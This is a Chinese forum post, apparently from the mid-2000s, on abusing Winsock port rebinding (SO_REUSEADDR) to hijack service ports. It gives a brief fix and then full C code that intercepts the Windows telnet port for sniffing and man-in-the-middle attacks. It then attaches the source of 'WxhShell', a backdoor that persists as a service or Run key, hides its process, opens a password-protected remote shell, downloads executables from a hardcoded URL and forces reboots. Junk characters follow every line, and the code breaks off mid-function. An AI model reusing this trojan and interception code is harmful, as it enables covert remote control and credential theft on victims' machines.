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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L;<]wKs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0' t)fnI#  
iLei-\w6y  
  saddr.sin_family = AF_INET; Jr zU-g  
W'yICt(#G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nAOId90wue  
BZsxf'eN'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dfce/QOV  
7EUaf;d^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |H49 FL  
$TiAJ}:  
  这意味着什么?意味着可以进行如下的攻击: ,P]{*uqGiB  
lC{m;V2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wit1WI;18  
ygG9ht  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ektFk"W3A\  
r\?*?sL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1l{n`gR  
z841g `:C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XCY4[2*a>  
I;LqyzM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4l:+>U@KU  
es{ 9[RHK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;+\;^nS3d  
/V~(!S>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fej$`2mRH  
B Xp3u|t  
  #include $U1'n@/J  
  #include a+d|9y/k  
  #include @g{ " E6  
  #include    mvnK)R_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u]"R AH  
  int main() _*_zyWW_j  
  { uxBk7E%6  
  WORD wVersionRequested; HukHZ;5  
  DWORD ret; GZo^0U,;  
  WSADATA wsaData; 49yN|h;c!  
  BOOL val; /TdTo@  
  SOCKADDR_IN saddr; #frhO;6  
  SOCKADDR_IN scaddr; Wp ]u0w  
  int err; 5 m:nh<)#  
  SOCKET s; 7G(X:!   
  SOCKET sc; +!rK4[W'  
  int caddsize; Nz8iU@!a  
  HANDLE mt; [(1O_X(M  
  DWORD tid;   ;:OJQFu%4  
  wVersionRequested = MAKEWORD( 2, 2 ); x:(e: I8x(  
  err = WSAStartup( wVersionRequested, &wsaData ); gDH x+"?  
  if ( err != 0 ) { K4KmoGb  
  printf("error!WSAStartup failed!\n"); "+Kr1nW  
  return -1; +oc}kv,h]  
  } Wr;)3K  
  saddr.sin_family = AF_INET; H]-nm+  
   _oWenF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jx_4:G  
wI:oe`?H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @#p4QEQA  
  saddr.sin_port = htons(23); ;:cM^LJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d-4u*>  
  { HO' HkVA  
  printf("error!socket failed!\n"); 3WhJ,~o-y  
  return -1; DwI)?a_+  
  } 6*%lnd+_  
  val = TRUE; D:f#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HHdc[pJ0D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]l4\/E W6  
  { ,YH.n>`s+  
  printf("error!setsockopt failed!\n"); {)G3*>sG3  
  return -1; >?5`FC  
  } >DDQ7 l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $>+-=XMVB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;9rQN3J$gn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k[][Md2Vh  
g&"Nr aQM9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v / a/  
  { |Q$C%7  
  ret=GetLastError(); GYj`-t  
  printf("error!bind failed!\n"); gpPktp2  
  return -1; hPl;2r  
  } dK=BH=S2?X  
  listen(s,2); r`5;G4UI  
  while(1) 0X@5W$x  
  { F"LT\7yjyG  
  caddsize = sizeof(scaddr); Wd[XQZ<  
  //接受连接请求 CN zK-,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #SL/Jr DZ  
  if(sc!=INVALID_SOCKET) 9F3`hJZRy>  
  { Cnc77EUD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zX3O_  
  if(mt==NULL) 8ciLzyrY*  
  { +ISB"a  
  printf("Thread Creat Failed!\n"); Re=bJ|wo  
  break; CnO$xE|{  
  } xx%WIY:}  
  } r+>9O  
  CloseHandle(mt); 1~j.jv$  
  } c$p1Sovw  
  closesocket(s); 9"/{gf3D  
  WSACleanup(); H94$Xi"Bd  
  return 0; c45Mv_  
  }   luV%_[F  
  DWORD WINAPI ClientThread(LPVOID lpParam) `toSU>:  
  { kG%<5QH  
  SOCKET ss = (SOCKET)lpParam; 4*'NpqC(_  
  SOCKET sc; H~ (I  
  unsigned char buf[4096]; " <=^Sm  
  SOCKADDR_IN saddr; A:N!H_x  
  long num; fY>\VY$>  
  DWORD val; !\p-|51  
  DWORD ret; Um%E/0j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |%$d/<<PZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L/V3sSt  
  saddr.sin_family = AF_INET; EQg 6*V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]t<%v_K  
  saddr.sin_port = htons(23); 1W5YS +pf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cZ5[A  T  
  { 2t_E\W7w+  
  printf("error!socket failed!\n"); MEg|AhP  
  return -1; 9~a_^m/  
  } ~]N% {;F}  
  val = 100; 2PRGwK/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ctj.rC)6n  
  { SJw0y[IL6(  
  ret = GetLastError(); vh T9#) HI  
  return -1; 4iDo.1B"  
  } !zD| @sX{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GlVq<RG*  
  { U; ev3  
  ret = GetLastError(); #LF_*a0v  
  return -1; 1`b?nX  
  } aFKks .n3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Il!iqDHz3  
  { Dz.U&+*  
  printf("error!socket connect failed!\n"); ^ 3Vjmv  
  closesocket(sc); l46O=?usDX  
  closesocket(ss); d@`yRueWiV  
  return -1; w W-GBY3  
  } T Li0*)}  
  while(1) ci ,o'`Q  
  { W.>yIA%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N+h|Ffnp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x%LWcT/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .nT"f>S&'  
  num = recv(ss,buf,4096,0); a]75z)X R  
  if(num>0) 7v1}8Uk  
  send(sc,buf,num,0); }**^ g:  
  else if(num==0) @@}A\wA-  
  break; !SVW}Q=5#  
  num = recv(sc,buf,4096,0); @"Do8p!*(6  
  if(num>0) v)BUt,A  
  send(ss,buf,num,0); %o.+B~r  
  else if(num==0) %N>@( .  
  break; r)ga{Nn,.  
  } sd Z=3)  
  closesocket(ss); C!v0*^i  
  closesocket(sc); 8> Gp #T  
  return 0 ; N/]TZu~k z  
  }  RtK/bUa  
f'*HP%+Y  
>[ywrB ?T  
========================================================== PL wa!j  
U.d*E/OR5  
下边附上一个代码,,WXhSHELL fFMG9]*  
<[b\V+M  
========================================================== 350y6pVh  
0s= GM|y  
#include "stdafx.h" h1J-AfV  
.3oFSc`q  
#include <stdio.h> LTG/gif[u  
#include <string.h> & 9IMZAo  
#include <windows.h> BYP,}yzA  
#include <winsock2.h> !dGy"-i$h  
#include <winsvc.h> ;v#~ o*  
#include <urlmon.h> f H}`  
m&b!\"0  
#pragma comment (lib, "Ws2_32.lib") Q-Bci Bh$  
#pragma comment (lib, "urlmon.lib") Ywlym\ [+  
=v1s@5 ;~  
#define MAX_USER   100 // 最大客户端连接数 R>#T {<<L  
#define BUF_SOCK   200 // sock buffer t:$p8qR  
#define KEY_BUFF   255 // 输入 buffer t4 h5R  
H<dm;cU  
#define REBOOT     0   // 重启 j @sd x)1+  
#define SHUTDOWN   1   // 关机 5h1FvJg  
o{m$b2BW  
#define DEF_PORT   5000 // 监听端口 G`gYwgU;  
B +_D*a  
#define REG_LEN     16   // 注册表键长度 a!4'}gHR  
#define SVC_LEN     80   // NT服务名长度 SC"=M^E  
qDOx5.d  
// 从dll定义API i7:j(W^I8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); no^I![_M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8%I4jL<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7S),:Uy[\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RVX-3FvP  
;w[|IRa  
// wxhshell配置信息 T3Qa[>+\  
struct WSCFG { B3e{'14  
  int ws_port;         // 监听端口 %q(n'^#Z.y  
  char ws_passstr[REG_LEN]; // 口令 LR'F/.Dx  
  int ws_autoins;       // 安装标记, 1=yes 0=no AgO:"'c  
  char ws_regname[REG_LEN]; // 注册表键名 /tx_I(6F?|  
  char ws_svcname[REG_LEN]; // 服务名 M {_`X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KYd2=P6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @I #@%"AW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '9H]S Ew  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MX6;ww  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `fc2vaSH =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T<?JL.8g_  
!Vv$  
}; ~{oM&I|d8  
-0Y8/6](  
// default Wxhshell configuration "VB-=. A  
struct WSCFG wscfg={DEF_PORT, a4O!q;tu7  
    "xuhuanlingzhe", _D[vMr[  
    1, {BDp`uZ  
    "Wxhshell", #2{ };)  
    "Wxhshell", =A GsW  
            "WxhShell Service", ci6j"nKci  
    "Wrsky Windows CmdShell Service", [gQ*y~N  
    "Please Input Your Password: ", q/<.^X  
  1, hyVuZ\9B  
  "http://www.wrsky.com/wxhshell.exe", r68'DJ&m3  
  "Wxhshell.exe" teQ%t~PJ-&  
    }; 66Huqo  
R/A40i  
// 消息定义模块 q?e97a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~g~z"!K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VctAQ|h^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DpoRR`  
char *msg_ws_ext="\n\rExit."; b:Wl B[5  
char *msg_ws_end="\n\rQuit."; rW&8#&  
char *msg_ws_boot="\n\rReboot..."; >& \QLo[5  
char *msg_ws_poff="\n\rShutdown..."; G}AfCd4  
char *msg_ws_down="\n\rSave to "; ^+Ec}+ Q  
LKFL2|af  
char *msg_ws_err="\n\rErr!"; gBf %9F  
char *msg_ws_ok="\n\rOK!"; $+R0RqV$V~  
CXb)k.L   
char ExeFile[MAX_PATH]; a$l/N{<.  
int nUser = 0; ` ` 6?;Y  
HANDLE handles[MAX_USER]; 7.hn@_  
int OsIsNt; W{?7Pn?1`  
-_4U+Cfmtl  
SERVICE_STATUS       serviceStatus; wBA[L}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d {T3  
;sS N  
// 函数声明 YJ_LD6PL9  
int Install(void); "fL:scq@0  
int Uninstall(void); th2a'y=0  
int DownloadFile(char *sURL, SOCKET wsh); ZH~T'Bg  
int Boot(int flag); :W? 7J"  
void HideProc(void); ?6; +.h\  
int GetOsVer(void); K #}DXq  
int Wxhshell(SOCKET wsl); /~K-0K#w  
void TalkWithClient(void *cs); 0Zs}y\J`  
int CmdShell(SOCKET sock); BI3Q~ADV  
int StartFromService(void); MrXhVZ"d*  
int StartWxhshell(LPSTR lpCmdLine); L/_OgL]YdI  
Ir_K8 3VM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W]4Gs;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3<AZ,gF1  
9pb4!=g*  
// 数据结构和表定义 % tN{  
SERVICE_TABLE_ENTRY DispatchTable[] = ez"Xb 7  
{ Z1wN+Y.CA  
{wscfg.ws_svcname, NTServiceMain}, oL2|@WNj,  
{NULL, NULL} }`{aeVHT  
}; {]n5h#c 5*  
@K7#}7,t  
// 自我安装 U:M?Ji5CY  
int Install(void) /0uZ(F|>I  
{ #e((F,1z  
  char svExeFile[MAX_PATH]; Mp:tcy,*  
  HKEY key; ^^qB=N[';  
  strcpy(svExeFile,ExeFile); H$9--p  
NU-({dGK}  
// 如果是win9x系统,修改注册表设为自启动 ik=~`3Zp0  
if(!OsIsNt) { S ])Ap'E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D ?1$I0=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xVao3+r  
  RegCloseKey(key); #Wey)DI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3U!\5Nsby  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ig-9Y;hdmn  
  RegCloseKey(key); XI~2Vzht  
  return 0; Ec y|l ;  
    } 82WXgB>  
  } [k ZvBd  
} 6'3@/.  
else { Qv,8tdx  
#(mm6dj  
// 如果是NT以上系统,安装为系统服务 <]r.wn=}M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BSY2\AL p  
if (schSCManager!=0) :[3{-.c  
{ : |#Iw  
  SC_HANDLE schService = CreateService 6kK\nZ$o$  
  ( z _~ 5c  
  schSCManager, 6.kX~$K  
  wscfg.ws_svcname, X3NHQMI   
  wscfg.ws_svcdisp, tn!z^W  
  SERVICE_ALL_ACCESS,  w=5D>]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , # le<R  
  SERVICE_AUTO_START, (]7&][  
  SERVICE_ERROR_NORMAL, I} a`11xb`  
  svExeFile, m?bd6'&FR  
  NULL, d7s? c  
  NULL, /T&z :st0  
  NULL, 0Ou;MU*v  
  NULL, Q-o}Xnj*!L  
  NULL `_Iy8rv:P  
  ); COPH)Bdq.  
  if (schService!=0) (PAkKY}  
  { }9yAYZ0q{b  
  CloseServiceHandle(schService); $GhdH)  
  CloseServiceHandle(schSCManager); 6U[`CGL66  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {`5Sh1b  
  strcat(svExeFile,wscfg.ws_svcname); nI4Kuz`dF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <?UbzT7X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6vp\~J  
  RegCloseKey(key); (3 xCW  
  return 0; _Kdqa%L !  
    } /W&Ro5-  
  } s&:LY"[`  
  CloseServiceHandle(schSCManager); a9S0glbwf  
} 7x` dEi<  
} OI0#@_L&  
xG:eS:iT  
return 1; KW.*LoO  
} I^erMQn[ z  
n,D~ whZx  
// 自我卸载 GPBp.$q+B  
int Uninstall(void) 1OB,UU"S$  
{ K%AbM#o<  
  HKEY key; "F A&Qm0  
+>3XJlZV  
if(!OsIsNt) { EC(,-sz\Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ":s1}A  
  RegDeleteValue(key,wscfg.ws_regname); I&JVY8'  
  RegCloseKey(key); ny# ?^.1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X"_,#3Ko!  
  RegDeleteValue(key,wscfg.ws_regname); \a\-hm  
  RegCloseKey(key); zbQ-l1E  
  return 0; *J^l r"%c  
  } f Z8%Z   
} k#mQLv  
} mS?.xu  
else { \Tf[% Kt x  
B*=m%NXf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W/03L, 1  
if (schSCManager!=0) ?,G CR1|4  
{ c@H_f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nnr g^F  
  if (schService!=0) .m--# r  
  { Uc oVp}vl  
  if(DeleteService(schService)!=0) { dkTewT6'  
  CloseServiceHandle(schService); #rZF4>c  
  CloseServiceHandle(schSCManager); u!kC+0Y  
  return 0; ,/{(8hn  
  } LxD >eA  
  CloseServiceHandle(schService); 80qSPitj  
  } Xvy3D@o  
  CloseServiceHandle(schSCManager); X|o;*J](  
} &f12Q&jY7  
} jUny&Alj  
/u hA\m(  
return 1; 8?p40x$m%  
} _i@{:v  
S b0p?  
// 从指定url下载文件 |Z\?nZ~  
int DownloadFile(char *sURL, SOCKET wsh) D@jG+k-Lm  
{ n*%o!=  
  HRESULT hr; oW0A8_|9  
char seps[]= "/"; #jY\l&E  
char *token; <P)U Ggd  
char *file; ;Y/{q B!  
char myURL[MAX_PATH]; c eH8  
char myFILE[MAX_PATH]; ?-'m#5i"  
Cs2hi,s  
strcpy(myURL,sURL); K7G|cZ/^  
  token=strtok(myURL,seps); R$[nYw  
  while(token!=NULL) f?KHp|  
  { aQ@9(j> F  
    file=token; r'!HWR  
  token=strtok(NULL,seps); n^} -k'l  
  } }>)e~\Tdzb  
JCL+uEX4S  
GetCurrentDirectory(MAX_PATH,myFILE); qN5 ru2  
strcat(myFILE, "\\"); $-HP5Kj(k-  
strcat(myFILE, file); pKSn 3-A  
  send(wsh,myFILE,strlen(myFILE),0); 8KxBN)fO;  
send(wsh,"...",3,0); N^G $:GC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zWN/>~}U \  
  if(hr==S_OK) B8XW+U  
return 0; RK7vR~kf<  
else s^atBqw,  
return 1; u%TZ),ny-  
)@vhqVv?  
}  [#+yL  
&m=GkK  
// 系统电源模块 @D?KS;#  
int Boot(int flag) 1z .  
{ tl:V8sYTP  
  HANDLE hToken; 0 _!')+  
  TOKEN_PRIVILEGES tkp; #hp 7@ Tu  
kIC $ai6.  
  if(OsIsNt) { b" Z$?5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *3uBS2Ld  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ri<7!Y?l  
    tkp.PrivilegeCount = 1; ?L%BD7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  X.q,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :,@"I$>*/  
if(flag==REBOOT) { a#huK~$~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3/aK#TjK  
  return 0; |S0w>VH>  
} 2HNAB4 E  
else { O/(QLgUr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &["s/!O1R  
  return 0; H^VNw1.   
} ^"\3dfzKM  
  } Oc6_x46S4  
  else { N$!aP/b  
if(flag==REBOOT) { 3j I rB%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F @%`(/^TA  
  return 0; P&>!B,f  
} ^vj}  
else { X7bS{GT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kl Kk?6 >  
  return 0; 'bd|Oww1u  
} 3)6TnY/u6{  
} ~6Xr^An/Z  
PM?F;mj  
return 1; IjPCaH.:t  
} s3/iG37K  
aPwUC:>`D  
// win9x进程隐藏模块 /<R[X>]<F  
void HideProc(void) .c5)`  
{ n9%&HDl4  
4:I'zR5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NT0im%  
  if ( hKernel != NULL ) LmZ"_  
  { \) FFV-k5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lz [s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MQY}}a-oug  
    FreeLibrary(hKernel); A<U9$"j9J  
  } [0?W>A*h  
;ztt*py  
return; WAUgbImc{  
} iD${7 _  
Q H 57[Yg  
// 获取操作系统版本 k d9<&.y{  
int GetOsVer(void) ED;rp 9(  
{ cuoZ:Wh  
  OSVERSIONINFO winfo; ;{Nc9d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^2a63_  
  GetVersionEx(&winfo); 8W2oGL6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 61~7 L^882  
  return 1; <}Hs@`jS  
  else )?MUUI:  
  return 0; Tl!}Rw~Pg  
} I/hq8v~S  
J|aU}Z8m  
// 客户端句柄模块 L}\ oFjVju  
int Wxhshell(SOCKET wsl) "j/jhe6  
{ G -V~6  
  SOCKET wsh; z=6zc-$y 9  
  struct sockaddr_in client; ?J,K[.z  
  DWORD myID; B2^*Sr[  
1W'0h$5^"  
  while(nUser<MAX_USER) \~> .NH-  
{ Y[rRz6.*(  
  int nSize=sizeof(client); JFu9_=%+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _$P1N^}Zs  
  if(wsh==INVALID_SOCKET) return 1; Q*ixg$>  
(H6Mi.uZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b!JrdJO,DP  
if(handles[nUser]==0) )m$MC25  
  closesocket(wsh); o/hj~;(]  
else F EA t6  
  nUser++; R.Kz nJ  
  } rcz9\@M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?k^~qlye  
s8  5l  
  return 0; dK41NLGQ  
} 8?LHYdJ  
 a"D'QqtH  
// 关闭 socket 6 w4HJZF~  
void CloseIt(SOCKET wsh) j@R"AP}  
{ C@WdPjxj  
closesocket(wsh); _9y! ,ST  
nUser--; PsM8J  
ExitThread(0); $ZkT G  
} X<Ag['r  
@RHG@{x{K  
// 客户端请求句柄 ~?:>=x  
void TalkWithClient(void *cs) 89j*uT  
{ mNOx e  
:{9HsF"h0  
  SOCKET wsh=(SOCKET)cs; W~FU!C?]  
  char pwd[SVC_LEN]; 7c!#e=W@B  
  char cmd[KEY_BUFF]; m=25HH7enb  
char chr[1]; (>uA(#Z  
int i,j; &88c@Ksn  
[Z^26/5a  
  while (nUser < MAX_USER) { @0V4$OoFl  
@F/,~|{iM  
if(wscfg.ws_passstr) { .hJcK/m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rv c%[HfW;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tn;{r  
  //ZeroMemory(pwd,KEY_BUFF); V\AY=u  
      i=0; -O\f y!  
  while(i<SVC_LEN) { $o/i / wcj  
]c M8TT  
  // 设置超时 s>)?MB*vb  
  fd_set FdRead; _WZ{i,  
  struct timeval TimeOut; k2(k0HFR  
  FD_ZERO(&FdRead); Vha,rIi  
  FD_SET(wsh,&FdRead); :!^NjO  
  TimeOut.tv_sec=8; }0sLeGJ!  
  TimeOut.tv_usec=0; <"8F=3:uk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vdigw.=z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); egAYJK-,!  
jO9! :L>b`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bVzJOBe  
  pwd=chr[0]; ke k/C`7  
  if(chr[0]==0xd || chr[0]==0xa) { ?_r{G7|D  
  pwd=0; nzZs2  
  break; H^dw=kS  
  } _GM?`  
  i++; < {h \Msx%  
    } hhz#I A6,  
]$#9B-uB  
  // 如果是非法用户,关闭 socket %`~+^{Wp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BLAF{vVaf  
} >cpv4Pgm  
vz)R84   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AxeQv'e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #U4 f9.FY*  
#^yOW^  
while(1) { fg lN_  
ex^9 l b  
  ZeroMemory(cmd,KEY_BUFF); |Qcj +HH.  
{{B'65Wu  
      // 自动支持客户端 telnet标准   l`uMtv/Wp  
  j=0; hk$I-  
  while(j<KEY_BUFF) { zg'.fUZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K#'$_0.  
  cmd[j]=chr[0]; 22;B:  
  if(chr[0]==0xa || chr[0]==0xd) { mnBTZ/ZjS  
  cmd[j]=0; vxug>2  
  break; _q}Cnp5  
  } FS=LpvOG)  
  j++; ,F*HZBNFZ  
    } G B,O  
LwTdmR  
  // 下载文件 R]o0V*n  
  if(strstr(cmd,"http://")) { aOd|;Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pt cq/f  
  if(DownloadFile(cmd,wsh)) X @pm!c#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t)uxW 7  
  else 3,`M\#z%K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fJ0V|o  
  } UbGnU_}  
  else { q`.=/O'  
s diWQv  
    switch(cmd[0]) { .'$8Hj;@  
  OCJt5#e~A  
  // 帮助 'rS\9T   
  case '?': { B2*7H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XA(.O|VZ  
    break; $CJf 0[|  
  } J7C?Z  
  // 安装 .o5K X*  
  case 'i': { ~7PiIky.  
    if(Install()) 9W+DW_M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q'!'+;&%  
    else _cC1u7U9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -QR]BD%J*[  
    break; r[T(R9k  
    } w{lj'3z I  
  // 卸载 Y2'HP)tfIw  
  case 'r': { L+T'TC:  
    if(Uninstall()) =hd0Ui>x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N6p0`  
    else TQ :e! 32  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Y;.fZE  
    break; ki}Li*)7  
    } {O).!  
  // 显示 wxhshell 所在路径 .Ln98#ZR  
  case 'p': { lZe-A/E  
    char svExeFile[MAX_PATH]; .fhfb\$  
    strcpy(svExeFile,"\n\r"); Gd`7Tf)'  
      strcat(svExeFile,ExeFile); /ueOc<[8"  
        send(wsh,svExeFile,strlen(svExeFile),0); o0F,!}  
    break; V2AsZc0U(  
    } 1zG6^U  
  // 重启 ZZwIB3sNhf  
  case 'b': { (x@J@ GP*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pDJN}XtjT  
    if(Boot(REBOOT)) [\ Sd*-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $cuBd  
    else { Nu3IYS5&  
    closesocket(wsh); KF@%tR}V{  
    ExitThread(0); 7fzH(H  
    } 4+nZ4a>LH?  
    break; Z%LS{o~LK.  
    } T][c^K*  
  // 关机 tJQZRZViu  
  case 'd': { | 2<zYY  
